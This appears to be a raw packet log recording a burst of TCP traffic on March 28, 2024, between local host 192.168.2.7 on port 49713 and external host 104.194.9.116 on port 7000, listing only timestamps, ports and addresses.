Mar 28, 2024 10:25:40.573779106 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.573788881 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.573801994 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.573838949 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.573854923 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.573869944 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.573919058 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.573930979 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.573956966 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.574001074 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.574006081 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.574022055 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.574057102 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.574079990 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.574139118 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.574151993 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.574172020 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.574191093 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.574234009 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.574256897 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.574281931 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.574321032 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.574330091 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.574423075 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.574465036 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.574474096 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.574503899 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.574542046 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.574544907 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.574595928 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.574636936 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.621648073 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.676256895 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.700006962 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.700068951 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.700119972 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.700149059 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.700212955 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.700264931 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.700299978 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.700352907 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.700400114 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.700403929 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.700448036 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.700496912 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.700508118 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.700568914 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.700618029 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.700620890 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.700670004 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.700720072 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.700721025 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.700823069 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.700865030 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.700887918 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.700942993 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.700988054 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.701138973 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.701469898 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.701509953 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.701565027 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.701632977 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.701682091 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.701704025 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.701766014 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.701812029 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.701833010 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.701961994 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.702007055 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.702039957 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.702127934 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.702172041 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.702172041 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.702253103 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.702297926 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.702315092 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.702374935 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.702419043 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.702445984 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.702500105 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.702544928 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.702560902 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.702606916 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.702651024 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.702670097 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.702714920 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.702728987 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.702758074 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.702826023 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.702863932 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.785006046 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.827886105 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.827902079 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.827934980 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.827948093 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.827975988 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.828017950 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.828061104 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.828069925 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.828094006 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.828119040 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.828135014 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.828176975 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.828187943 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.828207970 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.828238010 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.828253984 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.828259945 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.828288078 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.828294039 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.828301907 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.828315020 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.828334093 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.828351974 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.828368902 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.828382969 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.828389883 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.828423023 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.828427076 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.828440905 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.828454018 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.828481913 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.828499079 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.828545094 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.828567028 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.828583956 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.828599930 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.828632116 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.828644991 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.828650951 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.828672886 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.828690052 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.828716993 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.828742027 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.828763008 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.828774929 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.828804970 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.828807116 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.828820944 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.828845978 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.828849077 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.828871012 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.828881025 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.828885078 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.828903913 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.828926086 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.879316092 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.951216936 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.951230049 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.951242924 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.951261997 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.951304913 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.951319933 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.951335907 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.951339960 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.951369047 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.951375961 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.951395988 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.951431036 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.951455116 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.951468945 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.951483011 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.951500893 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.951508045 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.951514959 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.951540947 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.951546907 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.951569080 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.951581001 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.951585054 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.951621056 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.951644897 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.951659918 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.951692104 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.951718092 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.951731920 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.951756954 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.951769114 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.951771021 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.951783895 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.951803923 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.951811075 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.951849937 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.951874018 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.951889038 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.951903105 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.951927900 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.951929092 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.951983929 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.951986074 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.952001095 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.952033997 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.952043056 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.952049017 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.952075005 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.952089071 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.952097893 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.952125072 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.952126026 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.952141047 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.952156067 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.952176094 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.952182055 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:40.952229977 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:40.980762959 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.025604010 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.055644989 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.055663109 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.055713892 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.055718899 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.055730104 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.055768967 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.055799007 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.055874109 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.055917025 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.055924892 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.055994034 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.056036949 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.056126118 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.056207895 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.056257963 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.056276083 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.056361914 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.056405067 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.056428909 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.056529999 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.056569099 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.056639910 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.056709051 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.056747913 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.056803942 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.056886911 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.056931019 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.056965113 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.057069063 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.057116985 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.071508884 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.071563959 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.071613073 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.071629047 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.071683884 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.071721077 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.071743011 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.071890116 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.071949005 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.071979046 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.072033882 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.072072983 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.072083950 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.072122097 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.072160959 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.072185993 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.072238922 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.072308064 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.072348118 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.072470903 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.072515965 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.072534084 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.072592974 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.072627068 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.072649002 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.072699070 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.072740078 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.140145063 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.161775112 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.161839008 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.161851883 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.161910057 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.161926031 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.161947012 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.162003040 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.162040949 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.162041903 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.162108898 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.162123919 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.162142992 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.162201881 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.162241936 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.162266016 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.162345886 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.162384987 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.162400007 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.162456989 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.162491083 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.162503004 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.162549019 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.162585974 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.162640095 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.162700891 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.162735939 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.162751913 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.162805080 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.162836075 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.162854910 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.173607111 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.173652887 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.173654079 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.173671961 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.173686981 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.173700094 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.173707008 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.173733950 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.173737049 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.173762083 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.173777103 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.173794985 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.173804045 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.173835039 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.173841000 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.173866987 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.173897982 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.173923969 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.173926115 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.173940897 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.173958063 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.173990965 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.174004078 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.174021959 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.174026966 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.174057961 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.174062967 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.223086119 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.273055077 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.273075104 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.273129940 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.273139954 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.273197889 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.273224115 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.273233891 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.273303032 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.273340940 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:41.273341894 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:41.273394108 CET	7000	49713	104.194.9.116	192.168.2.7
